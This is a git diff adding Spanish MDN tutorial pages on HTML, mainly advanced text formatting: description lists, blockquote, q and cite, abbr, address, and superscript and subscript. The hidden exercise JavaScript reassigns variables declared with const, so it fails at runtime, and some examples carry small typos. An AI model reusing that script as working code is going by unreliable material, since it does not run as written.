+ <dt>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML", "Introducción a HTML")}}</dt>
+ <dd>Este módulo prepara el escenario para que te acostumbres a conceptos y sintaxis importantes, explica cómo aplicar HTML al texto, cómo crear hipervínculos y cómo usar HTML para estructurar una página web.</dd>
+ <dt>{{web.link("/es/docs/Learn/HTML/Multimedia_and_embedding", "Multimedia e inserción")}}</dt>
+ <dd>Este módulo explora cómo usar HTML para incluir multimedia en tus páginas web, incluidas las diferentes formas en que se pueden incluir imágenes y cómo insertar video, audio e incluso otras páginas web completas.</dd>
+ <dt>{{web.link("/es/docs/Learn/HTML/Tables", "tablas HTML")}}</dt>
+ <dd>Representar datos tabulares en una página web de una manera comprensible y {{Glossary("Accessibility", "accesible")}} puede ser un desafío. Este módulo cubre el marcado básico de tablas, junto con características más complejas como la implementación de subtítulos y resúmenes.</dd>
+</dl>
+
+<h2 id="Resolver_problemas_comunes_de_HTML">Resolver problemas comunes de HTML</h2>
+
+<p>{{web.link("/es/docs/Learn/HTML/Howto", "Usa HTML para resolver problemas comunes")}} proporciona vínculos a secciones de contenido que explican cómo usar HTML para resolver muchos problemas comunes al crear una página web: lidiar con títulos, agregar imágenes o videos, enfatizar contenido, crear una forma básica, etc.</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<dl>
+ <dt>{{web.link("/es/docs/Learn/HTML/Forms", "Formularios Web")}}</dt>
+ <dd>Este módulo proporciona una serie de artículos que te ayudarán a dominar los conceptos básicos de los formularios web. Los formularios web son una herramienta muy poderosa para interactuar con los usuarios — generalmente, se utilizan para recopilar datos de los usuarios o para permitirles controlar una interfaz de usuario. Sin embargo, por razones históricas y técnicas, no siempre es obvio cómo utilizarlos en todo su potencial. Aborda todos los aspectos esenciales de los formularios web, incluido el marcado de su estructura HTML, el diseño de controles de formulario, la validación de datos de formulario y el envío de datos al servidor.</dd>
+ <dt>{{web.link("/es/docs/Web/HTML", "HTML (lenguaje de marcado de hipertexto)")}}</dt>
+ <dd>El punto de entrada principal para la documentación de referencia HTML en MDN, incluidas las referencias detalladas de elementos y atributos; si deseas saber qué atributos tiene un elemento o qué valores tiene un atributo, por ejemplo, este es un excelente lugar para comenzar.</dd>
+</dl>
diff --git a/files/es/learn/html/introduccion_a_html/advanced_text_formatting/index.html b/files/es/learn/html/introduccion_a_html/advanced_text_formatting/index.html
new file mode 100644
index 0000000000..7e96d3c6d7
--- /dev/null
+++ b/files/es/learn/html/introduccion_a_html/advanced_text_formatting/index.html
@@ -0,0 +1,695 @@
+---
+title: Formateo de texto avanzado
+slug: Learn/HTML/Introduccion_a_HTML/Advanced_text_formatting
+tags:
+  - CodingScripting
+  - Guía
+  - HTML
+  - Lista de descripción
+  - Novato
+  - Principiante
+  - Texto
+  - abreviatura
+  - aprende
+  - cita
+  - semántica
+translation_of: Learn/HTML/Introduction_to_HTML/Advanced_text_formatting
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML")}}</div>
+
+<p class="summary">Hay muchos otros elementos en HTML para dar formato al texto, que no expusimos en el artículo {{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Fundamentos de texto HTML")}}. Los elementos descritos en este artículo son menos conocidos, pero aún así es muy útil conocerlos (no obstante, no es una lista completa de ninguna manera). Aquí aprenderás cómo marcar citas, listas de descripción, código de computadora y otro texto relacionado, subíndices y superíndices, información de contacto y mucho más.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Estar familiarizado con HTML, cubierto en {{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Getting_started", "Empezar con HTML")}}. Aplicación de formato a texto en documentos HTML, según lo expuesto en la sección {{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Fundamentos de texto HTML")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender a utilizar elementos HTML menos conocidos para marcar características semánticas avanzadas.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Listas_de_descripciones">Listas de descripciones</h2>
+
+<p>En los fundamentos del texto HTML, explicamos cómo {{web.link("/es/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Lists", "marcar listas básicas")}} en HTML, pero no mencionamos el tercer tipo de lista con la que te encontrarás ocasionalmente: <strong>listas de descripción</strong>. El propósito de estas listas es marcar un conjunto de elementos y sus descripciones asociadas, como términos y definiciones, o preguntas y respuestas. Veamos un ejemplo de un conjunto de términos y definiciones:</p>
+
+<pre class="brush: bash notranslate">soliloquio
+En las obras dramáticas, corresponde a cuando un personaje se habla a sí mismo para representar sus pensamientos o sentimientos internos y, en el proceso, transmitirlos a la audiencia (pero no a otros personajes).
+monólogo
+En las obras dramáticas, corresponde a cuando un personaje habla de sus pensamientos en voz alta para compartirlos con el público y cualquier otro personaje presente.
+aparte
+En las obras dramáticas, corresponde a cuando un personaje comparte un comentario solo con la audiencia para dar efecto cómico o dramático. Suele ser un sentimiento, un pensamiento o información adicional.</pre>
+
+<p>Las listas de descripción utilizan un contenedor diferente al de los otros tipos de listas — {{HTMLElement("dl")}} («<em><b>d</b>escription <b>l</b>ist</em>» o lista de descripciones); además, cada término está envuelto en un elemento {{HTMLElement("dt")}} («<em><b>d</b>escription <b>t</b>erm</em>» o término a describir), y cada descripción está envuelta en un elemento {{HTMLElement("dd")}} («<em><b>d</b>escription <b>d</b>efinition</em>» o definición de descripción). Para redondear esta información veamos un ejemplo:</p>
+
+<div id="listas-de-descripciones-ejemplo-activo-1">
+<pre class="brush: html notranslate">&lt;dl&gt;
+  &lt;dt&gt;soliloquio&lt;/dt&gt;
+  &lt;dd&gt;En las obras dramáticas, corresponde a cuando un personaje se habla a sí mismo para representar sus pensamientos o sentimientos internos y, en el proceso, transmitirlos a la audiencia (pero no a otros personajes).&lt;/dd&gt;
+  &lt;dt&gt;monólogo&lt;/dt&gt;
+  &lt;dd&gt;En las obras dramáticas, corresponde a cuando un personaje habla de sus pensamientos en voz alta para compartirlos con el público y cualquier otro personaje presente.&lt;/dd&gt;
+  &lt;dt&gt;aparte&lt;/dt&gt;
+  &lt;dd&gt;En las obras dramáticas, corresponde a cuando un personaje comparte un comentario solo con la audiencia para dar efecto cómico o dramático. Suele ser un sentimiento, un pensamiento o información adicional.&lt;/dd&gt;
+&lt;/dl&gt;</pre>
+</div>
+
+<p>Los estilos predeterminados del navegador mostrarán listas de descripciones con las descripciones sangradas un poco más que los términos.</p>
+
+<p>{{ EmbedLiveSample('listas-de-descripciones-ejemplo-activo-1', '100%', '285px', '', '', 'hide-codepen-jsfiddle') }}</p>
+
+<p>Ten en cuenta que un solo término puede tener múltiples descripciones, por ejemplo:</p>
+
+<div id="listas-de-descripciones-ejemplo-activo-2">
+<pre class="brush: html notranslate">&lt;dl&gt;
+  &lt;dt&gt;aparte&lt;/dt&gt;
+  &lt;dd&gt;En las obras dramáticas, corresponde a cuando un personaje comparte un comentario solo con la audiencia para dar efecto cómico o dramático. Suele ser un sentimiento, un pensamiento o información adicional.&lt;/dd&gt;
+  &lt;dd&gt;Si la obra es impresa, es una sección de contenido que se relaciona con el tema, pero no encaja directamente en el flujo principal de contenido, de modo que se presenta por separado (a menudo en una caja de texto en el margen).&lt;/dd&gt;
+&lt;/dl&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('listas-de-descripciones-ejemplo-activo-2', '100%', '193px', '', '', 'hide-codepen-jsfiddle') }}</p>
+
+<h3 id="Aprendizaje_activo_Marcar_un_conjunto_de_definiciones">Aprendizaje activo: Marcar un conjunto de definiciones</h3>
+
+<p>Es hora de practicar las listas de descripciones; agrega elementos al texto sin formato en el campo <em>Código editable</em> para que aparezca como una lista de descripción en el campo <em>Salida en vivo</em>. Puedes usar tus propios términos y descripciones si lo deseas.</p>
+
+<p>Si cometes un error, siempre puedes restablecer el código anterior pulsando el botón <em>Restablecer</em>. Si te quedas realmente encallado, pulsa el botón <em>Mostrar solución</em> para ver una buena propuesta.</p>
+
+<div class="hidden">
+<h6 id="Código_reproducible">Código reproducible</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Salida en vivo&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 50px;"&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Código editable&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Pulsa Esc para quitar el foco del área de código (Tab inserta un carácter de tabulación).&lt;/p&gt;
+
+&lt;textarea id="code" class="input" style="min-height: 100px; width: 95%"&gt;
+Tocino
+El pegamento que une al mundo.
+Huevos
+El pegamento que une el pastel.
+Café
+La bebida que hace que el mundo funcione por la mañana.
+Un color marrón claro.&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Restablecer"&gt;
+  &lt;input id="solution" type="button" value="Mostrar solución"&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js notranslate">const textarea = document.getElementById('code');
+const reset = document.getElementById('reset');
+const solution = document.getElementById('solution');
+const output = document.querySelector('.output');
+const code = textarea.value;
+const userEntry = textarea.value;
+
+function updateCode() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = htmlSolution;
+  solution.value = 'Mostrar solución';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Mostrar solución') {
+    textarea.value = solutionEntry;
+    solution.value = 'Ocultar solución';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Mostrar solución';
+  }
+  updateCode();
+});
+
+const htmlSolution = '&lt;dl&gt;\n &lt;dt&gt;Tocino&lt;/dt&gt;\n &lt;dd&gt;El pegamento que une al mundo.&lt;/dd&gt;\n &lt;dt&gt;Huevos&lt;/dt&gt;\n &lt;dd&gt;El pegamento que une el pastel.&lt;/dd&gt;\n &lt;dt&gt;Café&lt;/dt&gt;\n &lt;dd&gt;La bebida que hace que el mundo funcione por la mañana.&lt;/dd&gt;\n &lt;dd&gt;Un color marrón claro.&lt;/dd&gt;\n&lt;/dl&gt;';
+const solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// captura la tecla de tabulación en el área de texto y en su lugar
+// hace que se escriba una tabulación en la posición del cursor
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  const scrollPos = textarea.scrollTop;
+  const caretPos = textarea.selectionStart;
+
+  const front = (textarea.value).substring(0, caretPos);
+  const back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Actualiza el userCode guardado cada vez que el usuario actualiza el código del área de texto
+
+textarea.onkeyup = function(){
+  // Solo queremos guardar el estado cuando se muestra el código de usuario,
+  // no es la solución, por lo que la solución no se guarda sobre el código del usuario
+  if(solution.value === 'Mostrar solución') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Código_reproducible', 700, 350, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="Citas">Citas</h2>
+
+<p>HTML también dispone de elementos para el marcado de citas; cual elemento utilices depende de si estás marcando la cita como un bloque o como un elemento en línea.</p>
+
+<h3 id="Cita_en_bloque_independiente_blockquote">Cita en bloque independiente (<em>blockquote</em>)</h3>
+
+<p>Si una sección de contenido a nivel de bloque (ya sea un párrafo, varios párrafos, una lista, etc.) se cita en otro lugar, debes envolverla dentro de un elemento {{HTMLElement("blockquote")}} para indicarlo, e incluye una URL que apunte a la fuente de la cita dentro de un atributo {{HTMLAttrxRef("cite", "blockquote")}}. Por ejemplo, el siguiente marcado tomado de la página del elemento <code>&lt;blockquote&gt;</code> de MDN:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;El &lt;strong&gt;elemento HTML &lt;code&gt;&amp;lt;blockquote&amp;gt;&lt;/code&gt;&lt;/strong&gt; (o &lt;em&gt;elemento HTML de cita
+en bloque independiente&lt;/em&gt;) indica que el texto al que delimita es una cita ampliada.&lt;/p&gt;</pre>
+
+<p>Para convertir esto en una cita en bloque independiente, simplemente harías lo siguiente:</p>
+
+<div id="blockquote-ejemplo-en-vivo">
+<pre class="brush: html notranslate">&lt;p&gt;A continuación se muestra una cita en bloque independiente...&lt;/p&gt;
+&lt;blockquote cite="https://developer.mozilla.org/es/docs/Web/HTML/Element/blockquote"&gt;
+  &lt;p&gt;El &lt;strong&gt;elemento HTML &lt;code&gt;&amp;lt;blockquote&amp;gt;&lt;/code&gt;&lt;/strong&gt; (o &lt;em&gt;elemento HTML de cita
+  en bloque independiente&lt;/em&gt;) indica que el texto al que delimita es una cita ampliada.&lt;/p&gt;
+&lt;/blockquote&gt;</pre>
+</div>
+
+<p>El estilo predeterminado del navegador lo mostrará como un párrafo con sangría, para indicar que se trata de una cita; el párrafo anterior a la cita sirve para demostrarlo.</p>
+
+<p>{{EmbedLiveSample('blockquote-ejemplo-en-vivo', '100%', '117px', '', '', 'hide-codepen-jsfiddle')}}</p>
+
+<h3 id="Citas_en_línea">Citas en línea</h3>
+
+<p>Las citas en línea funcionan exactamente de la misma manera, excepto que usan el elemento {{HTMLElement("q")}}. Por ejemplo, el siguiente fragmento de marcado contiene una cita <code>&lt;q&gt;</code> de la página MDN:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;El elemento de cita — &lt;code&gt;&amp;lt;q&amp;gt;&lt;/code&gt; — se &lt;q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q"&gt;utiliza en
+para citas breves que no requieren saltos de párrafo.&lt;/q&gt;&lt;/p&gt;</pre>
+
+<p>El estilo predeterminado del navegador lo representará como texto normal entre comillas para indicar una cita, así:</p>
+
+<p>{{ EmbedLiveSample('Citas_en_línea', '100%', '78px', '', '', 'hide-codepen-jsfiddle')}}</p>
+
+<h3 id="Citas_2">Citas</h3>
+
+<p>El contenido del atributo {{HTMLAttrxRef("cite", "blockquote")}} suena útil, pero desafortunadamente los navegadores, lectores de pantalla, etc. no hacen mucho con él. No hay forma de hacer que el navegador muestre el contenido de <code>cite</code> sin escribir tu propia solución usando JavaScript o CSS. Si deseas que la fuente de la cita esté disponible en la página, lo debes hacer en el texto a través de un enlace o de alguna otra forma apropiada.</p>
+
+<p>Hay un elemento {{HTMLElement("cite")}}, pero está destinado a contener el título del recurso que se cita, p. ej. el nombre del libro. Sin embargo, no hay razón por la que no puedas vincular el texto dentro de <code>&lt;cite&gt;</code> a la fuente de la cita de alguna manera:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;De acuerdo con &lt;a href="https://developer.mozilla.org/es/docs/Web/HTML/Element/blockquote"&gt;
+&lt;cite&gt;página de citas en bloque independiente de MDN&lt;/cite&gt;&lt;/a&gt;:
+&lt;/p&gt;
+
+&lt;blockquote cite="https://developer.mozilla.org/es/docs/Web/HTML/Element/blockquote"&gt;
+  &lt;p&gt;El &lt;strong&gt;elemento HTML &lt;code&gt;&amp;lt;blockquote&amp;gt;&lt;/code&gt;&lt;/strong&gt; (o &lt;em&gt;elemento HTML de cita
+  en bloque independiente&lt;/em&gt;) indica que el texto al que delimita es una cita ampliada.&lt;/p&gt;
+&lt;/blockquote&gt;
+
+&lt;p&gt;El elemento de cita — &lt;code&gt;&amp;lt;q&amp;gt;&lt;/code&gt; — se &lt;q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q"&gt;utiliza en
+citas breves que no requieren saltos de párrafo.&lt;/q&gt; -- &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q"&gt;
+&lt;cite&gt;página q de MDN&lt;/cite&gt;&lt;/a&gt;.&lt;/p&gt;</pre>
+
+<p>Las citas se escriben en cursiva de forma predeterminada.</p>
+
+<p>{{ EmbedLiveSample('Citas_2', '100%', '179px', '', '', 'hide-codepen-jsfiddle') }}</p>
+
+<h3 id="Aprendizaje_activo_¿Quién_dijo_eso">Aprendizaje activo: ¿Quién dijo eso?</h3>
+
+<p>¡Es hora de otro ejemplo de aprendizaje activo! En este ejemplo, nos gustaría que:</p>
+
+<ol>
+ <li>Conviertas el párrafo del medio en una cita en bloque independiente, que incluya un atributo <code>cite</code>.</li>
+ <li>Conviertas "La necesidad de eliminar el diálogo interno negativo" en el tercer párrafo en una cita en línea e incluya un atributo <code>cite</code>.</li>
+ <li>Envuelvas el título de cada fuente en etiquetas <code>&lt;cite&gt;</code> y conviertas cada una en un enlace a esa fuente.</li>
+</ol>
+
+<p>Las fuentes de citación que necesitas son:</p>
+
+<ul>
+ <li>http://www.brainyquote.com/quotes/authors/c/confucius.html para la citas de Confucio</li>
+ <li>http://www.affirmationsforpositivethinking.com para "La necesidad de eliminar el diálogo interno negativo".</li>
+</ul>
+
+<p>Si cometes un error, siempre puedes restablecer el código anterior pulsando el botón <em>Restablecer</em>. Si te quedas realmente encallado, pulsa el botón <em>Mostrar solución</em> para ver una buena propuesta.</p>
+
+<div class="hidden">
+<h6 id="Código_reproducible_2">Código reproducible 2</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Salida en vivo&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 50px;"&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Código editable&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Pulsa Esc para quitar el foco del área de código (Tab inserta un carácter de tabulación).&lt;/p&gt;
+
+&lt;textarea id="code" class="input" style="min-height: 150px; width: 95%"&gt;
+&lt;p&gt;Hola y bienvenido a mi página de motivación. Como dice el sitio de citas de Confucio:&lt;/p&gt;
+&lt;p&gt;No importa qué tan lento vayas siempre que no te detengas.&lt;/p&gt;
+&lt;p&gt;También me encanta el concepto de pensamiento positivo y La necesidad de eliminar el diálogo interno negativo (como se menciona en Afirmaciones para el pensamiento positivo).&lt;/p&gt;
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Restablecer"&gt;
+  &lt;input id="solution" type="button" value="Mostrar solución"&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js notranslate">const textarea = document.getElementById('code');
+const reset = document.getElementById('reset');
+const solution = document.getElementById('solution');
+const output = document.querySelector('.output');
+const code = textarea.value;
+const userEntry = textarea.value;
+
+function updateCode() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = htmlSolution;
+  solution.value = 'Mostrar solución';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Mostrar solución') {
+    textarea.value = solutionEntry;
+    solution.value = 'Ocultar solución';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Mostrar solución';
+  }
+  updateCode();
+});
+
+const htmlSolution = '&lt;p&gt;Hola y bienvenido a mi página de motivación. Como dice &lt;a href="http://www.brainyquote.com/quotes/authors/c/confucius.html"&gt;&lt;cite&gt;el sitio de citas de Confucio:&lt;/cite&gt;&lt;/a&gt;:&lt;/p&gt;\n\n&lt;blockquote cite="http://www.brainyquote.com/quotes/authors/c/confucius.html"&gt;\n&lt;p&gt;No importa qué tan lento vayas siempre que no te detengas.&lt;/p&gt;\n&lt;/blockquote&gt;\n\n&lt;p&gt;También me encanta el concepto de pensamiento positivo y &lt;q cite="http://www.affirmationsforpositivethinking.com"&gt;La necesidad de eliminar el diálogo interno negativo&lt;/q&gt; (como se menciona en &lt;a href="http://www.affirmationsforpositivethinking.com"&gt;&lt;cite&gt;Afirmaciones para el pensamiento positivo&lt;/cite&gt;&lt;/a&gt;).&lt;/p&gt;';
+const solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// captura la tecla de tabulación en el área de texto y en su lugar
+// hace que se escriba una tabulación en la posición del cursor
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  const scrollPos = textarea.scrollTop;
+  const caretPos = textarea.selectionStart;
+
+  const front = (textarea.value).substring(0, caretPos);
+  const back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Actualiza el userCode guardado cada vez que el usuario actualiza el código del área de texto
+
+textarea.onkeyup = function(){
+  // Solo queremos guardar el estado cuando se muestra el código de usuario,
+  // no es la solución, por lo que la solución no se guarda sobre el código del usuario
+  if(solution.value === 'Mostrar solución') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Código_reproducible_2', 700, 450, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="Abreviaturas">Abreviaturas</h2>
+
+<p>Otro elemento bastante común que encontrarás cuando busques en la Web es {{HTMLElement("abbr")}} — se usa para envolver una abreviatura o acrónimo, y proporcionar una expansión completa del término (incluida dentro de un atributo {{HTMLAttrxRef("title")}}. Veamos un par de ejemplos:</p>
+
+<div id="ejemplo-de-abreviaturas-en-vivo">
+<pre class="brush: html notranslate">&lt;p&gt;Usamos &lt;abbr title="Lenguaje de marcado de hipertexto"&gt;HTML&lt;/abbr&gt; para estructurar nuestros documentos web.&lt;/p&gt;
+
+&lt;p&gt;Creo que el &lt;abbr title="Reverendo""&gt;Rev.&lt;/abbr&gt; Green lo hizo en la cocina con la motosierra.&lt;/p&gt;</pre>
+</div>
+
+<p>Estos saldrán con un aspecto similar a este (la expansión aparecerá en una descripción emergente cuando se coloque el cursor sobre el término):</p>
+
+<p>{{EmbedLiveSample('ejemplo-de-abreviaturas-en-vivo', '100%', '94px', '', '', 'hide-codepen-jsfiddle')}}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Hay otro elemento, {{HTMLElement("acronym")}}, que básicamente hace lo mismo que <code>&lt;abbr&gt;</code>, y se diseñó específicamente para acrónimos en lugar de las abreviaturas. Sin embargo, este ha caído en desuso — no era compatible con los navegadores ni con <code>&lt;abbr&gt;</code>, y <code>&lt;abbr&gt;</code> tiene una función tan similar que se consideró inútil conservar ambos. Solo utiliza <code>&lt;abbr&gt;</code>.</p>
+</div>
+
+<h3 id="Aprendizaje_activo_Marcar_una_abreviatura">Aprendizaje activo: Marcar una abreviatura</h3>
+
+<p>Para esta simple tarea de aprendizaje activo, nos gustaría que simplemente marcaras una abreviatura. Puedes usar el ejemplo que encontrarás a continuación o reemplazarla por una de tu elección. </p>
+
+<div class="hidden">
+<h6 id="Código_reproducible_3">Código reproducible</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Salida en vivo&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 50px;"&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Código editable&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Pulsa Esc para quitar el foco del área de código (Tab inserta un carácter de tabulación).&lt;/p&gt;
+
+&lt;textarea id="code" class="input" style="min-height: 50px; width: 95%"&gt;
+&lt;p&gt;La NASA sin duda hace un interesante trabajo.&lt;/p&gt;
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Restablecer"&gt;
+  &lt;input id="solution" type="button" value="Mostrar solución"&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js notranslate">const textarea = document.getElementById('code');
+const reset = document.getElementById('reset');
+const solution = document.getElementById('solution');
+const output = document.querySelector('.output');
+const code = textarea.value;
+const userEntry = textarea.value;
+
+function updateCode() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = htmlSolution;
+  solution.value = 'Mostrar solución';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Mostrar solución') {
+    textarea.value = solutionEntry;
+    solution.value = 'Ocultar solución';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Mostrar solución';
+  }
+  updateCode();
+});
+
+const htmlSolution = '&lt;p&gt;La &lt;abbr title="Administración Nacional de Aeronáutica y del Espacio"&gt;NASA&lt;/abbr&gt; sin duda hace un interesante trabajo.&lt;/p&gt;';
+const solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// captura la tecla de tabulación en el área de texto y en su lugar
+// hace que se escriba una tabulación en la posición del cursor
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  const scrollPos = textarea.scrollTop;
+  const caretPos = textarea.selectionStart;
+
+  const front = (textarea.value).substring(0, caretPos);
+  const back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Actualiza el userCode guardado cada vez que el usuario actualiza el código del área de texto
+
+textarea.onkeyup = function(){
+  // Solo queremos guardar el estado cuando se muestra el código de usuario,
+  // no es la solución, por lo que la solución no se guarda sobre el código del usuario
+  if(solution.value === 'Mostrar solución') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Código_reproducible_3', 700, 300, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="Marcar_la_información_de_contacto">Marcar la información de contacto</h2>
+
+<p>HTML tiene un elemento para marcar la información de contacto — {{HTMLElement("address")}}. Este simplemente envuelve tus datos de contacto, por ejemplo:</p>
+
+<pre class="brush: html notranslate">&lt;address&gt;
+  &lt;p&gt;Chris Mills, Manchester, The Grim North, Reino Unido&lt;/p&gt;
+&lt;/address&gt;</pre>
+
+<p>También podrías incluir un marcado más complejo y otras formas de información de contacto, por ejemplo:</p>
+
+<pre class="brush: html notranslate">&lt;address&gt;
+  &lt;p&gt;
+    Chris Mills&lt;br&gt;
+    Manchester&lt;br&gt;
+    The Grim North&lt;br&gt;
+    Reino Unido
+  &lt;/p&gt;
+
+  &lt;ul&gt;
+    &lt;li&gt;Tel: 01234 567 890&lt;/li&gt;
+    &lt;li&gt;Email: me@grim-north.co.uk&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/address&gt;</pre>
+
+<p>Ten en cuenta que algo como esto también estaría bien, si la página vinculada contuviera la información de contacto:</p>
+
+<pre class="brush: html notranslate">&lt;address&gt;
+  &lt;p&gt;Página escrita por &lt;a href="../authors/chris-mills/"&gt;Chris Mills&lt;/a&gt;.&lt;/p&gt;
+&lt;/address&gt;</pre>
+
+<h2 id="Superíndice_y_subíndice">Superíndice y subíndice</h2>
+
+<p>En ocasiones, necesitarás utilizar superíndice y subíndice al marcar elementos como fechas, fórmulas químicas y ecuaciones matemáticas para que tengan el significado correcto. Los elementos {{HTMLElement("sup")}} y {{HTMLElement("sub")}} se ocupan de ello. Por ejemplo:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Nací el 25&lt;sup&gt;th&lt;/sup&gt; de mayo de 2001.&lt;/p&gt;
+&lt;p&gt;La fórmula química de la cafeína es C&lt;sub&gt;8&lt;/sub&gt;H&lt;sub&gt;10&lt;/sub&gt;N&lt;sub&gt;4&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt;.&lt;/p&gt;
+&lt;p&gt;If x&lt;sup&gt;2&lt;/sup&gt; es 9, x debe ser igual 3 o -3.&lt;/p&gt;</pre>
+
+<p>La salida de este código se ve así:</p>
+
+<p>{{ EmbedLiveSample('Superíndice_y_subíndice', '100%', '141px', '', '', 'hide-codepen-jsfiddle') }}</p>
+
+<h2 id="Representación_del_código_informático">Representación del código informático</h2>
+
+<p>Hay una serie de elementos disponibles para marcar código informático usando HTML:</p>
+
+<ul>
